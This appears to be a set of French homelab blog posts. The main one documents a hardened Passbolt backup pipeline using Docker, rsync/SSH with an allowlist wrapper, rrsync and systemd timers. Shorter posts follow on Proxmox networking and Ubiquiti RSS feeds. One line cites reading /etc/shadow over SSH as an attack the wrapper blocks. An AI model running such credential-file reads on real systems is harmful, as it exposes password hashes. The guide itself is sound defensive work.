├── docker-compose.yml      # définition du service one-shot
├── secrets/                # mode 700, root:root
│   ├── gpg_passphrase
│   ├── kdbx_password
│   ├── passbolt_privkey.asc
│   ├── ssh_id_ed25519
│   └── ssh_id_ed25519.pub
└── output/                 # dossier temporaire pour le KDBX (vidé à chaque run)

Le Dockerfile​

# syntax=docker/dockerfile:1
#
# Image pour l'export quotidien de la base Passbolt en KDBX,
# transfert vers Nextcloud via rsync, et déclenchement du scan.
# Basé sur Debian bookworm-slim pour compatibilité glibc (go-passbolt-cli)
# et openssh-client complet (ed25519).

# ---------- Stage 1 : téléchargement du binaire go-passbolt-cli ----------
# On télécharge dans un stage de build pour ne PAS embarquer curl/wget
# dans l'image finale (réduction de surface d'attaque).
FROM debian:bookworm-slim AS fetcher
ARG PASSBOLT_CLI_VERSION=0.4.2
ARG PASSBOLT_CLI_SHA256=72a411491df67c27e2844448f09a01e85099b42f75338d65c677f6ae3366a7a5
ARG PASSBOLT_CLI_URL=https://github.com/passbolt/go-passbolt-cli/releases/download/v${PASSBOLT_CLI_VERSION}/go-passbolt-cli_${PASSBOLT_CLI_VERSION}_linux_amd64.tar.gz

RUN apt-get update \
    && apt-get install -y --no-install-recommends ca-certificates curl \
    && rm -rf /var/lib/apt/lists/*
WORKDIR /tmp
RUN curl -fsSLo cli.tar.gz "${PASSBOLT_CLI_URL}" \
    && echo "${PASSBOLT_CLI_SHA256}  cli.tar.gz" | sha256sum -c - \
    && tar -xzf cli.tar.gz \
    && chmod +x go-passbolt-cli

# ---------- Stage 2 : image finale, minimaliste ----------
FROM debian:bookworm-slim

RUN apt-get update \
    && apt-get install -y --no-install-recommends \
        ca-certificates \
        rsync \
        openssh-client \
        tini \
    && rm -rf /var/lib/apt/lists/*

# Récupère uniquement le binaire depuis le stage 1
COPY --from=fetcher /tmp/go-passbolt-cli /usr/local/bin/go-passbolt-cli

# tini comme PID 1 → propage proprement les signaux et reap les zombies.
# Indispensable pour un conteneur one-shot.
ENTRYPOINT ["/usr/sbin/tini", "--"]

# Pas de CMD : il sera fourni par le docker-compose run

Petite explication :

Multi-stage build. Le binaire go-passbolt-cli n'est pas dans les dépôts Debian, donc il faut le télécharger. Mais embarquer curl dans l'image finale, c'est ajouter une surface d'attaque pour rien : un attaquant qui obtient l'exec dans le container pourrait s'en servir pour faire des appels sortants. Avec le multi-stage, curl reste dans le stage 1 et seul le binaire arrive dans l'image finale.

Vérification SHA256. Si demain GitHub se fait compromettre ou qu'un MITM intercepte le téléchargement, le build échoue. C'est gratuit, autant le faire. Le hash est figé en ARG : si je passe à la 0.4.3, je dois explicitement mettre à jour le hash, ce qui m'oblige à le vérifier.

Debian bookworm-slim plutôt qu'Alpine. go-passbolt-cli est compilé en glibc, donc il refuse de tourner sur musl (Alpine). Et l'openssh-client de Debian est plus à jour côté ed25519 et ChaCha20-Poly1305.

tini comme PID 1. Quand tu lances un script bash en PID 1, il ne gère pas correctement les signaux (SIGTERM notamment) et ne « reap » pas les processus zombies. Pour un container one-shot, c'est mineur, mais tini coûte 200ko et règle le problème proprement. Sans lui, un docker stop peut timeouter pendant 10s avant que Docker n'envoie SIGKILL.

Pas de CMD. Le script run.sh est monté en bind mount, donc je peux le modifier sans rebuild. Le docker compose run fournira la commande.

Le docker-compose.yml​

services:
  backup:
    image: passbolt-backup:0.1
    build:
      context: ./build
      dockerfile: Dockerfile
    container_name: passbolt-backup-run
    restart: "no"   # one-shot, jamais de redémarrage auto
    volumes:
      - ./secrets:/secrets:ro                     # lecture seule
      - ./output:/output
      - ./build/run.sh:/usr/local/bin/run.sh:ro
    environment:
      PASSBOLT_SERVER: https://passbolt.homelab.local
      NEXTCLOUD_HOST: 10.1.2.67
      NEXTCLOUD_USER: passbolt-backup
      KDBX_PREFIX: passbolt-backup
      RETENTION_COUNT: "30"
    command: ["/usr/local/bin/run.sh"]
    networks:
      - proxy-net   # 👈 même réseau que Passbolt et NPM

Le point clé : networks: [proxy-net]. Comme NPM et Passbolt sont sur ce réseau, mon container de backup peut résoudre passbolt.homelab.local via NPM. Il n'a pas besoin d'exposer de ports ni d'aller chercher Passbolt par son IP interne Docker.

Le script run.sh​

#!/bin/bash
# Script d'orchestration pour la sauvegarde Passbolt → Nextcloud
set -euo pipefail

# ------ Variables ------
PASSBOLT_SERVER="${PASSBOLT_SERVER:-https://passbolt.homelab.local}"
NEXTCLOUD_HOST="${NEXTCLOUD_HOST:-10.1.2.67}"
NEXTCLOUD_USER="${NEXTCLOUD_USER:-passbolt-backup}"
KDBX_PREFIX="${KDBX_PREFIX:-passbolt-backup}"
RETENTION_COUNT="${RETENTION_COUNT:-30}"

GPG_PASSPHRASE_FILE="/secrets/gpg_passphrase"
KDBX_PASSWORD_FILE="/secrets/kdbx_password"
PASSBOLT_PRIVKEY="/secrets/passbolt_privkey.asc"
SSH_KEY="/secrets/ssh_id_ed25519"

# ------ Logging ------
log()       { echo "[$(date -u +'%Y-%m-%dT%H:%M:%SZ')] $*"; }
log_error() { log "ERREUR: $*" >&2; exit 1; }

# ------ Vérifications ------
for f in "$GPG_PASSPHRASE_FILE" "$KDBX_PASSWORD_FILE" "$PASSBOLT_PRIVKEY" "$SSH_KEY"; do
    [ -f "$f" ] || log_error "Fichier $f introuvable"
done
[ -d /output ] || log_error "Dossier /output introuvable"

GPG_PASSPHRASE=$(tr -d '\n' < "$GPG_PASSPHRASE_FILE")
KDBX_PASSWORD=$(tr -d '\n' < "$KDBX_PASSWORD_FILE")

# ------ 1/4 : Export KDBX ------
log "=== Début du backup Passbolt ==="
TIMESTAMP=$(date -u +'%Y-%m-%d_%H-%M-%S')
KDBX_FILE="/output/${KDBX_PREFIX}_${TIMESTAMP}.kdbx"

log "Étape 1/4 : Export Passbolt vers $KDBX_FILE"
go-passbolt-cli export keepass \
    --serverAddress "$PASSBOLT_SERVER" \
    --tlsSkipVerify \
    --userPrivateKeyFile "$PASSBOLT_PRIVKEY" \
    --userPassword "$GPG_PASSPHRASE" \
    --mfaMode none \
    --file "$KDBX_FILE" \
    --password "$KDBX_PASSWORD" || log_error "Échec de l'export Passbolt"

log "Export terminé : $(stat -c%s "$KDBX_FILE") octets"

# ------ 2/4 : Transfert ------
log "Étape 2/4 : Transfert vers Nextcloud"
rsync -av \
    -e "ssh -i $SSH_KEY -o StrictHostKeyChecking=accept-new" \
    "$KDBX_FILE" \
    "${NEXTCLOUD_USER}@${NEXTCLOUD_HOST}:./" \
    || log_error "Échec du rsync"

# ------ 3/4 : Rotation ------
log "Étape 3/4 : Rotation (garder $RETENTION_COUNT)"
ssh -i "$SSH_KEY" -o StrictHostKeyChecking=accept-new \
    "${NEXTCLOUD_USER}@${NEXTCLOUD_HOST}" \
    "nc-rotate $RETENTION_COUNT" || log_error "Échec rotation"

# ------ 4/4 : Scan Nextcloud ------
log "Étape 4/4 : Scan Nextcloud"
ssh -i "$SSH_KEY" -o StrictHostKeyChecking=accept-new \
    "${NEXTCLOUD_USER}@${NEXTCLOUD_HOST}" \
    "nc-scan" || log_error "Échec scan"

# ------ Cleanup ------
log "Nettoyage du fichier local $KDBX_FILE"
rm -f "$KDBX_FILE"

log " Backup Passbolt terminé avec succès"

Quelques détails à expliquer :

set -euo pipefail : c'est la base de tout script de prod. -e plante au premier échec, -u plante si on lit une variable non définie, -o pipefail plante si une étape d'un pipe échoue (pas juste la dernière). Sans ça, un script bash continue gaiement après une erreur silencieuse.

--mfaMode none : le compte de service Passbolt ne doit pas avoir de 2FA. Le CLI bloquerait sur un prompt TOTP en mode non-interactif et le job timeouterait. Le compte est donc dédié uniquement à la sauvegarde, protégé par sa clé PGP forte, et tracé dans les logs d'audit Passbolt.

--tlsSkipVerify : le certificat de NPM est auto-signé dans mon homelab. Tant que le trafic ne sort pas du réseau interne (et c'est le cas, on est sur proxy-net), c'est acceptable. Pour durcir, on peut récupérer la CA NPM et la monter dans /etc/ssl/certs/ du container.

StrictHostKeyChecking=accept-new : plutôt que no (qui accepte n'importe quoi à chaque fois), accept-new accepte la clé du serveur à la première connexion et râle si elle change ensuite. C'est la bonne option pour ce cas d'usage : on accepte le serveur la première fois et on détecte un MITM ensuite. (Note : ça suppose un known_hosts persistant, ce qui n'est pas le cas dans un container éphémère. Pour bien faire, il faudrait bind-mount un known_hosts figé. C'est une amélioration à venir.)

Configuration côté Nextcloud​

Utilisateur applicatif vs utilisateur système​

Petite subtilité importante : Nextcloud connaît deux types d'utilisateurs :

1. L'utilisateur Nextcloud (dans la base Nextcloud), qui peut se connecter à l'interface web et possède des fichiers visibles dans l'app.
2. L'utilisateur Linux/système, qui sert à se connecter en SSH au serveur.

Pour mon backup, j'ai besoin des deux :

• Un utilisateur Nextcloud backup-passbolt qui possède les fichiers backup dans l'interface (pour pouvoir les télécharger via le web si besoin).
• Un utilisateur Linux passbolt-backup qui reçoit les fichiers via SSH+rsync.

Côté Nextcloud (interface web ou commande) :

sudo -u www-data php /var/www/nextcloud/occ user:add \
    --display-name="Passbolt Backup" backup-passbolt

Côté système Linux :

# UID fixé pour éviter les conflits, home dans /var/lib
sudo useradd -u 997 -m -d /var/lib/passbolt-backup -s /bin/bash passbolt-backup

# Ajout au groupe www-data pour que Nextcloud puisse lire ce qui est déposé
sudo usermod -aG www-data passbolt-backup

# Création du dossier de stockage côté Nextcloud
sudo mkdir -p /var/www/nextcloud/data/backup-passbolt/files/Passbolt-Backups
sudo chown -R passbolt-backup:www-data /var/www/nextcloud/data/backup-passbolt
sudo chmod 2770 /var/www/nextcloud/data/backup-passbolt/files/Passbolt-Backups

Le bit setgid (2770), pourquoi ?​

J'avoue avoir été heureux quand je l'ai trouvé celui-là.

C'est un piège dans lequel je suis tombé initialement. Quand passbolt-backup (UID 997) dépose un fichier dans le dossier, Linux fixe par défaut le propriétaire à 997 et le groupe au groupe primaire de l'utilisateur (donc passbolt-backup aussi). Résultat : Nextcloud, qui tourne en www-data, ne peut pas lire le fichier.

Le bit setgid (2 devant 770) change ce comportement : tous les fichiers créés dans ce dossier héritent du groupe du dossier, donc www-data. Du coup Nextcloud peut lire, et le user passbolt-backup peut écrire.

ls -ld /var/www/nextcloud/data/backup-passbolt/files/Passbolt-Backups
drwxrws--- 2 passbolt-backup www-data 4096 May 12 03:00 Passbolt-Backups
       ^
       └── le 's' à la place du 'x' du groupe = setgid actif

SSH verrouillé avec ForceCommand et allowlist​

C'est le cœur de la sécurité côté Nextcloud. Le compte passbolt-backup a une clé SSH, mais cette clé ne peut pas faire grand-chose.

Le wrapper forcecommand.sh​

/usr/local/lib/passbolt-backup/forcecommand.sh (root:root, chmod 755) :

#!/bin/bash
# Wrapper SSH appelé via ForceCommand.
# La commande réelle envoyée par le client est dans $SSH_ORIGINAL_COMMAND.

set -euo pipefail

BACKUP_DIR="/var/www/nextcloud/data/backup-passbolt/files/Passbolt-Backups"

# Pas de commande = on rejette
if [ -z "${SSH_ORIGINAL_COMMAND:-}" ]; then
    echo "Aucune commande fournie. Connexion interactive interdite." >&2
    exit 1
fi

# On décompose la commande envoyée par le client
set -- $SSH_ORIGINAL_COMMAND

case "$1" in
    # rsync se présente avec "rsync --server ..."
    rsync)
        # On délègue à rrsync, qui contraint la cible au seul BACKUP_DIR
        exec /usr/bin/rrsync -wo "$BACKUP_DIR"
        ;;
    nc-rotate)
        exec /usr/local/lib/passbolt-backup/rotate.sh "${2:-30}"
        ;;
    nc-scan)
        exec /usr/local/lib/passbolt-backup/scan.sh
        ;;
    *)
        echo "Commande non autorisée : $*" >&2
        exit 1
        ;;
esac

Et dans ~passbolt-backup/.ssh/authorized_keys :

command="/usr/local/lib/passbolt-backup/forcecommand.sh",no-port-forwarding,no-agent-forwarding,no-X11-forwarding,no-pty ssh-ed25519 AAAA... backup-key

Décortiquons ces restrictions SSH :

Même si la clé privée est volée, l'attaquant ne peut rien faire d'autre que :

• déposer un fichier dans Passbolt-Backups/ (via rrsync)
• déclencher nc-rotate (qui ne fait que supprimer des fichiers de ce dossier)
• déclencher nc-scan (qui ne fait que rafraîchir la vue Nextcloud)

Pourquoi rrsync ?​

rrsync est un wrapper officiel fourni avec rsync (souvent dans /usr/share/doc/rsync/scripts/). Il limite une session rsync à un dossier précis et permet de spécifier -ro (read-only), -wo (write-only) ou rien (les deux). Avec -wo, le client peut écrire mais pas lire ce qu'il y a déjà dans le dossier — donc il ne peut pas exfiltrer les anciens backups.

Les scripts rotate.sh et scan.sh​

rotate.sh supprime les KDBX au-delà des N plus récents :

#!/bin/bash
set -euo pipefail
RETENTION_COUNT="${1:-30}"
BACKUP_DIR="/var/www/nextcloud/data/backup-passbolt/files/Passbolt-Backups"

# On trie par nom (qui contient le timestamp ISO), on garde les N derniers
find "$BACKUP_DIR" -maxdepth 1 -name "*.kdbx" -type f -printf '%f\n' \
    | sort \
    | head -n "-$RETENTION_COUNT" \
    | while IFS= read -r f; do
        rm -f -- "$BACKUP_DIR/$f"
      done

scan.sh notifie Nextcloud qu'il y a du nouveau/du moins :

#!/bin/bash
sudo -u www-data php /var/www/nextcloud/occ files:scan \
    --path="backup-passbolt/files/Passbolt-Backups/"

Le sudo -u www-data impose une règle sudoers minimale pour passbolt-backup :

# /etc/sudoers.d/passbolt-backup
passbolt-backup ALL=(www-data) NOPASSWD: /usr/bin/php /var/www/nextcloud/occ files:scan *

Automatisation avec systemd​

Le service​

/etc/systemd/system/passbolt-backup.service :

[Unit]
Description=Passbolt KDBX backup to Nextcloud
Documentation=https://blog.fracorbas.local/Sauvegarde-securise-passbolt-docker
Requires=docker.service
After=docker.service network-online.target
Wants=network-online.target

[Service]
Type=oneshot
WorkingDirectory=/opt/docker/passbolt-backup
ExecStart=/usr/bin/docker compose run --rm backup
TimeoutStartSec=600
Restart=no
StandardOutput=journal
StandardError=journal

[Install]
WantedBy=multi-user.target

Les directives qui méritent un mot :

• Type=oneshot : le service est censé démarrer, faire son boulot, et s'arrêter. Sans oneshot, systemd considère que la fin du processus = échec.
• Requires=docker.service + After=docker.service : Requires exprime la dépendance forte (sans Docker, le service ne démarre pas), After exprime l'ordre (Docker doit être prêt avant). Les deux sont nécessaires.
• WorkingDirectory= : docker compose cherche son docker-compose.yml dans le CWD. Sans ça, il tomberait dans / et planterait.
• --rm dans ExecStart : le container est supprimé après exécution, pas de trace résiduelle (et donc pas l'export keepass qui traine en local dans le serveur).
• TimeoutStartSec=600 : un backup normal prend 10-15 secondes. 10 minutes c'est très large, mais ça évite qu'un job bloqué tourne indéfiniment.

Le timer​

/etc/systemd/system/passbolt-backup.timer :

[Unit]
Description=Trigger daily Passbolt KDBX backup

[Timer]
OnCalendar=*-*-* 03:00:00
Persistent=true
RandomizedDelaySec=5min

[Install]
WantedBy=timers.target

• OnCalendar=*-*-* 03:00:00 : tous les jours à 3h. La syntaxe systemd n'est pas du cron, c'est année-mois-jour heure:minute:seconde avec * comme joker.
• Persistent=true : si la machine était éteinte à 3h (maintenance, panne courte), le job s'exécute au prochain démarrage. systemd garde une trace du dernier déclenchement réussi dans /var/lib/systemd/timers/.
• RandomizedDelaySec=5min : jitter aléatoire de 0 à 5 minutes. Évite que tous mes timers tapent simultanément à 3h pile.

Activation​

sudo systemctl daemon-reload
sudo systemctl enable --now passbolt-backup.timer
systemctl list-timers passbolt-backup.timer

Et pour vérifier la syntaxe du calendrier :

systemd-analyze calendar "*-*-* 03:00:00"

Sécurité : approche en couches​

C'est la partie qui m'intéresse le plus, parce que c'est là que se trouve la vraie valeur de l'exercice. L'idée est qu'aucune couche ne doit être indispensable — la sécurité doit reposer sur la combinaison des couches, pas sur l'efficacité d'une seule.

Couche 1 : intégrité de l'image​

Multi-stage build : curl et ca-certificates ne sont présents que dans le stage de fetch. L'image finale ne contient que les binaires strictement nécessaires (rsync, ssh, tini, go-passbolt-cli, et leurs dépendances). Si une CVE sort sur curl, mon image n'est pas concernée.

SHA256 du binaire externe : c'est gratuit et ça protège contre :

• Une compromission de la release GitHub.
• Un proxy malveillant entre Docker Hub/GitHub et mon serveur.
• Un accident de l'éditeur (mauvais binaire poussé).

Si le hash change sans que je le sache, le build échoue. Si je veux mettre à jour, je dois explicitement aller chercher le nouveau hash sur GitHub, ce qui m'oblige à vérifier que c'est bien la version officielle.

tini comme PID 1 : moins critique pour la sécurité que pour la robustesse, mais évite qu'un signal mal géré laisse un processus en zombie qui mangerait des ressources.

Couche 2 : conteneur en exécution​

One-shot avec --rm : le container vit 10 secondes. Aucune surface d'attaque persistante. Si quelqu'un veut s'y planquer, c'est compliqué.

Secrets en bind-mount avec :ro : les secrets sont sur le host (/opt/docker/passbolt-backup/secrets/), pas dans l'image. L'image peut être pushée sans inclure aucun secret. Et le :ro empêche que le container modifie les secrets — même un code malveillant injecté ne peut pas réécrire la clé PGP pour exfiltrer une nouvelle version.

Permissions du dossier secrets :

ls -la /opt/docker/passbolt-backup/secrets/
# drwx------ root root  secrets/        ← 700
# -rw------- root root  gpg_passphrase  ← 600
# -rw------- root root  kdbx_password   ← 600
# -rw------- root root  passbolt_privkey.asc
# -rw------- root root  ssh_id_ed25519
# -rw-r--r-- root root  ssh_id_ed25519.pub  ← 644, c'est la clé publique

Seul root peut lire. Le container tourne aussi en root, donc il peut lire. Aucun autre user de la machine n'y accède.

Couche 3 : isolement réseau​

Détaillé plus haut, mais je résume :

• Passbolt n'a aucun port exposé sur l'hôte. Pour le joindre, il faut être sur proxy-net (donc être un container Docker autorisé) ou passer par NPM (donc avoir traversé le reverse proxy avec auth/TLS valide).
• MariaDB est sur un réseau internal: true, qui n'a pas de gateway vers Internet. Même compromise, elle ne peut pas exfiltrer de données vers un C2.
• Mon container de backup est aussi sur proxy-net : il peut joindre Passbolt en passant par NPM (résolution DNS via passbolt.homelab.local), mais il ne peut pas joindre MariaDB directement. La seule façon d'extraire des données est l'API Passbolt authentifiée.

Couche 4 : authentification​

Auth Passbolt par clé PGP : go-passbolt-cli s'authentifie en signant un challenge avec la clé PGP du compte de service. Aucun mot de passe applicatif n'est en clair dans les logs ou en variables d'environnement. La passphrase de la clé PGP est elle-même dans un fichier monté :ro.

Compte de service dédié, sans 2FA : c'est volontaire. Un compte de service qui doit fonctionner sans interaction humaine ne peut pas avoir de 2FA. Pour compenser :

• Clé PGP forte (ed25519 ou RSA 4096).
• Permissions Passbolt limitées (le compte n'a accès qu'à ce qu'il doit sauvegarder).
• Audit : toutes les actions de ce compte sont tracées dans Passbolt.

Clé SSH ed25519 : plus moderne, plus rapide, et clés/signatures plus courtes que RSA 4096. Sans passphrase (parce qu'une passphrase stockée à côté de la clé ne protège rien — quiconque a accès à la clé a accès à la passphrase).

Mot de passe KDBX différent de Passbolt : c'est le point « poule-œuf ». Si je met le même mot de passe que mon compte Passbolt, alors :

1. Passbolt tombe.
2. J'ai mon KDBX de backup.
3. Le mot de passe pour l'ouvrir est dans... Passbolt. Qui est tombé.

Le mot de passe KDBX est donc :

• Différent du master Passbolt.
• Stocké séparément (dans ma tête + dans un coffre physique offline).
• Long et complexe.

Couche 5 : côté Nextcloud​

rrsync -wo : la clé SSH peut uniquement écrire dans Passbolt-Backups/. Pas de lecture, pas d'accès aux autres dossiers Nextcloud.

Allowlist via forcecommand.sh : seules rsync, nc-rotate et nc-scan sont acceptées. Un attaquant qui aurait la clé ne peut pas faire ssh ... ls / ou ssh ... cat /etc/shadow.

no-pty : pas de shell interactif. Même en supposant un bug dans le wrapper, pas de fallback vers bash.

sudoers minimal : passbolt-backup ne peut sudo qu'une commande très précise vers www-data. Pas d'escalade vers root.

Synthèse : que se passe-t-il si X est compromis ?​

Flux d'exécution complet​

Pour résumer ce qui se passe chaque nuit à 3h :

Durée totale typique : 8 à 15 secondes.

Procédures opérationnelles​

Vérifier qu'un backup s'est bien passé​

# Quand est le prochain déclenchement ? Quand était le dernier ?
sudo systemctl list-timers passbolt-backup.timer

# Logs des dernières 24h
sudo journalctl -u passbolt-backup.service --since "24 hours ago"

# Statut du dernier run
sudo systemctl status passbolt-backup.service

Sortie attendue :

● passbolt-backup.service - Passbolt KDBX backup to Nextcloud
     Loaded: loaded (/etc/systemd/system/passbolt-backup.service; static)
     Active: inactive (dead) since Tue 2026-05-12 03:00:13 UTC
    Process: 12345 ExecStart=/usr/bin/docker compose run --rm backup
             (code=exited, status=0/SUCCESS)

Et côté Nextcloud :

ssh root@10.1.2.67 \
    "ls -la /var/www/nextcloud/data/backup-passbolt/files/Passbolt-Backups/ | grep '\.kdbx$' | wc -l"
# Doit retourner ≤ 30

Déclencher un backup manuel​

sudo systemctl start passbolt-backup.service
sudo journalctl -u passbolt-backup.service -f

Restaurer en cas de désastre​

1. Récupérer le dernier KDBX :

   scp passbolt-backup@10.1.2.67:Passbolt-Backups/passbolt-backup_*.kdbx .
   

   (ou via l'interface Nextcloud).
2. Ouvrir avec KeePassXC. Mot de passe : celui défini dans kdbx_password (et stocké séparément, cf. couche 4).
3. Toutes les ressources Passbolt sont dans le KDBX, organisées par groupes.
4. Reconstruire Passbolt à neuf si besoin, puis ré-importer manuellement les credentials critiques.

Limitations connues et améliorations possibles​

Je ne prétends pas que c'est parfait. Quelques points faibles que j'ai identifiés :

Commandes de référence rapide​

Conclusion​

Ce qui rendait l'exercice intéressant, ce n'était pas tant de « faire tourner un backup », c'était d'empiler les bonnes couches pour qu'aucun point unique de défaillance ne mette en danger la sauvegarde — et que la sauvegarde elle-même ne devienne pas un nouveau vecteur d'attaque.

Les principes que je retiens et que je réutiliserai pour d'autres projets :

• Container one-shot piloté par systemd plutôt que cron : meilleurs logs, meilleures dépendances, meilleur diagnostic.
• Multi-stage Docker build systématique pour les outils dont l'installation nécessite des binaires externes.
• Réseau Docker dédié entre reverse-proxy et services, jamais d'exposition de port directe.
• internal: true pour les bases de données : si elle n'a pas besoin d'Internet, retire-le lui.
• ForceCommand + allowlist : on ne donne jamais juste « accès SSH », on donne accès à une liste précise de commandes.
• rrsync -wo : la destination ne doit pas pouvoir relire les anciens backups.
• Mot de passe de la sauvegarde ≠ mot de passe de la source : casse le scénario poule-œuf.
• Bit setgid : la solution propre quand un dossier est partagé entre plusieurs utilisateurs systèmes.

Et au final, l'effort de réflexion compte plus que le code. Quand le jour J arrivera (parce qu'il arrivera), c'est la confiance dans la chaîne complète qui me permettra de restaurer sereinement.

C'est toujours un petit kiff de faire ce genre de chose, on recherche toujours plus loin, on trouve toujours de nouveaux problèmes à résoudre pour au final découvrir un peu plus un outil pourtant utilisé quotidiennement : Linux... C'est ça que j'adore dans l'informatique, on a 50 manières de faire la même chose, j'aurais pu le faire en cron, mais avec ses inconvénients. C'est en comparant chauqe outil / solution qu'on trouve son bonheur afin de faire quelque chose qui nous convient.

A une prochaine fois !​

Ressources utiles :

• Documentation officielle go-passbolt-cli
• Passbolt Self-Hosted
• Systemd Timers (Arch Wiki)
• rrsync upstream script
• Nginx Proxy Manager

Aujourd'hui, que ce soit pour monter un petit lab personnel ou gérer une infrastructure professionnelle, plusieurs solutions s'offrent à nous :

• Les hyperviseurs de type 1 (ou bare-metal) : il s'agit d'un système d'exploitation dédié à la virtualisation, installé directement sur le matériel, sans OS hôte intermédiaire. On y retrouve notamment :

  • VMware ESXi — solution payante, dont le coût peut rapidement devenir prohibitif sur une infrastructure de taille décente.
  • Proxmox VE — solution open-source, gratuite (avec option payante pour un support professionnel et des mises à jour de sécurité prioritaires). Elle est largement adoptée, aussi bien dans les labs à la maison que dans les environnements professionnels.

• Les hyperviseurs de type 2 (ou hosted) : il s'agit d'applications qui s'installent par-dessus un OS existant (Windows, Linux, macOS…). La virtualisation est donc soumise aux performances et à la stabilité de l'OS hôte. On retrouve :

  • VMware Workstation — principalement disponible sous Windows et Linux.
  • VirtualBox — multiplateforme, et entièrement gratuit.

Peu importe la solution choisie, la configuration réseau sera toujours incontournable. Dans cet article, je me concentre sur la partie Proxmox, mais je couvrirai probablement les autres solutions dans de futurs articles.

Pourquoi le réseau est-il si important ?​

Quand on travaille avec des infrastructures virtualisées, il est essentiel de garder en tête le modèle OSI. Le réseau intervient à pratiquement toutes ses couches : transport des trames (couche 2), adressage IP (couche 3), gestion des flux (couche 4), jusqu'aux couches applicatives.

Une infrastructure bien conçue commence toujours par une configuration réseau solide — et dans le cas de Proxmox, cela commence dès la configuration de l'hyperviseur lui-même, avant même de parler de ce à quoi le serveur est connecté physiquement.

Le réseau dans Proxmox

Identifier ses interfaces physiques​

La première étape est de bien identifier les interfaces réseau physiques présentes sur le serveur et de comprendre à quoi elles correspondent dans Proxmox. Sur certains châssis (avec des ports SFP+, des ports 10G, du 1G…), il est facile de se retrouver avec une dizaine d'interfaces aux noms peu explicites. Prendre le temps de les cartographier évite bien des erreurs par la suite.

Le bridge Linux — le cœur du réseau Proxmox​

Proxmox s'appuie sur le concept de bridge Linux, qui se comporte exactement comme un switch virtuel. C'est l'élément central autour duquel tout le réseau de l'hyperviseur s'organise.

Lorsqu'on associe une interface physique à un bridge, on branche virtuellement le serveur à ce switch — tout trafic externe peut alors y circuler. Cette association est donc à réaliser avec soin.

Créer un réseau virtuel privé​

L'objectif d'un réseau virtuel privé est de permettre à plusieurs VM de communiquer entre elles sans que le trafic ne sorte physiquement du serveur. C'est utile pour isoler des environnements (dev, prod, DMZ…) ou simuler des topologies réseau complexes.

Pour créer ce type de réseau dans Proxmox, on ajoute une nouvelle interface de type Linux Bridge depuis la section réseau du nœud physique :

Quelques paramètres importants à connaître :

• Bridge ports : permet d'associer le bridge à une ou plusieurs interfaces physiques (liaison de niveau 2). Si ce champ reste vide, le bridge est entièrement isolé du réseau physique.
• VLAN aware : active la gestion des VLANs sur le bridge, le transformant en switch "manageable". Indispensable si on souhaite faire circuler du trafic tagué.
• IPv4 / IPv6 : attribue une adresse IP à Proxmox sur ce bridge. Utile si l'hyperviseur lui-même doit communiquer avec les VM ou les équipements de ce segment.

Méthode 1 — Tagger le VLAN directement sur la VM​

Une fois le bridge configuré, il est possible d'assigner un tag VLAN directement au niveau de l'interface réseau de chaque VM :

Toutes les VM partageant le même tag VLAN forment un réseau isolé entre elles. C'est la méthode la plus souple : elle permet de faire cohabiter plusieurs VLANs sur un seul bridge, avec une granularité par VM.

Méthode 2 — Un bridge dédié sans VLAN​

La méthode la plus simple. Le bridge joue le rôle d'un switch non manageable : toutes les VM qui y sont connectées se trouvent dans le même segment réseau et communiquent directement entre elles. Pas de notion de VLAN, pas de configuration supplémentaire.

Idéale pour des environnements simples ou des labs où l'isolation fine n'est pas requise.

Méthode 3 — Utiliser un Linux VLAN (interface VLAN dédiée)​

Cette méthode est moins répandue et rarement recommandée dans les ressources que j'ai consultées — la méthode 1 couvre généralement le même besoin de façon plus directe. Je la documente tout de même car on la croise parfois dans des configurations existantes.

Elle consiste à créer une interface Linux VLAN en plus du bridge :

Dans le champ VLAN raw device, on renseigne le nom du bridge suivi du tag VLAN, par exemple : vmbr1.10 pour le VLAN 10 sur le bridge vmbr1. Cette interface VLAN est ensuite sélectionnée comme interface réseau dans les VM concernées.

Les types de liaisons avancées​

Au-delà des bridges classiques, Proxmox propose deux types de liaisons supplémentaires particulièrement utiles dans certains contextes.

Agrégation de liens (LACP / Bond)​

L'agrégation de liens consiste à regrouper plusieurs interfaces physiques en une seule interface logique. L'objectif principal est d'augmenter la bande passante disponible et, dans certains modes, d'apporter de la redondance.

Dans Proxmox, on crée une interface de type Bond en mode LACP (802.3ad). On y ajoute les ports à agréger (séparés par des virgules, sans espace), et on configure la hash policy, qui détermine comment le trafic est réparti entre les liens.

Pour aller plus loin sur le sujet, deux ressources utiles :

• lafibre.info — LACP Proxmox
• virtualizationhowto — LACP Proxmox

Je consacrerai probablement un article dédié à LACP — la répartition du trafic entre les liens est plus subtile qu'il n'y paraît, et les compromis entre latence et débit méritent d'être détaillés.

Une fois le bond créé, on l'utilise comme interface slave des bridges ou VLAN que l'on crée ensuite.

Lien de secours (Active-Backup)​

Ce type de liaison met en place une logique maître/esclave : l'interface secondaire ne devient active que si Proxmox détecte une défaillance sur l'interface principale. C'est une forme de redondance réseau gérée directement par l'hyperviseur.

Je le trouve utile à connaître, même si en pratique, cette logique de failover est généralement mieux gérée par un pare-feu ou un équipement réseau placé en amont — qui a une vision plus globale de l'état du réseau.

Crédits​

On progresse souvent seul, mais rarement sans les ressources que d'autres ont prises le temps de partager. Cet article doit beaucoup à cette vidéo, qui m'a permis de mieux appréhender les mécanismes réseau de Proxmox :

Ainsi qu'aux blogs cités tout au long de l'article :

• lafibre.info — LACP Proxmox
• virtualizationhowto — LACP Proxmox

Utilisant une certaine quantité de matériel Ubiquiti, j'ai eu la volonté de réaliser un suivi des dernières failles de sécurité, suivi de mise à jour des différents matériel qu'Ubiquiti propose. Très rapidement, je suis tombé des quand je n'ai trouvé aucune list officielle recensée permettant de faire ainsi un suivi avec des flux RSS.

Evidemment, si j'écris ce document c'est que j'ai fini par trouver cette liste et je me devais de la partager. Au final, Ubiquiti eux-même l'utilise constamment pour récupérer leur propre news... Enfin bref, j'ai du mal à comprendre leur motivation qui les pousse à ne pas la rendre officielle, mais voilà la méthode pour la récupérer (je vous laisse également la liste complète à la fin de ce document).

Liste D'ubiquiti

point de départ​

Logiquement, si vous recherchez un petit peu en ligne, je suis presque certain que vous tomberez sur des articles de la communauté d'Ubiquiti qui mentionnent ce lien :

• https://community.ui.com/rss/releases/UniFi-Access-Point-Switch-LTE/9fc3b2fa-9e73-449a-924f-470e79884470

Il traîne sur reddit et sur la commu d'ubiquiti, je n'ai pas pu mettre la main sur une liste (elle existe peut-être quelque part qui sait). On voit surtout qu'il y a un UUID (identifiant unique) dans l'URL. Alors un simple test, essayez d'aller sur cette URL :

• https://community.ui.com/rss/releases/URL-Completement-Bidon/9fc3b2fa-9e73-449a-924f-470e79884470

